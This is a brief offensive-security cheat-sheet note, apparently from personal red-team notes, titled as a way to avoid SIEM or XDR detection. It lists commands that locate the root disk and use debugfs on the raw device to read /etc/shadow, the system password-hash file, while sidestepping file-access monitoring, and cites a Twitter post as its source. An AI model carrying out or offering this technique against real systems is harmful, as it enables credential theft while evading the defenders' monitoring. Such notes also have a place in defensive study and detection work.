Avoid SIEM or XDR detection

red from raw disk

Your useraccount still needes accessrights to this file

# find disk name
df /

# open file on disk
debugfs
  open /dev/sda2
  cd /etc
  cat shadow

Reference[^1]

[^1]https://twitter.com/0xm1rch/status/1600857731073654784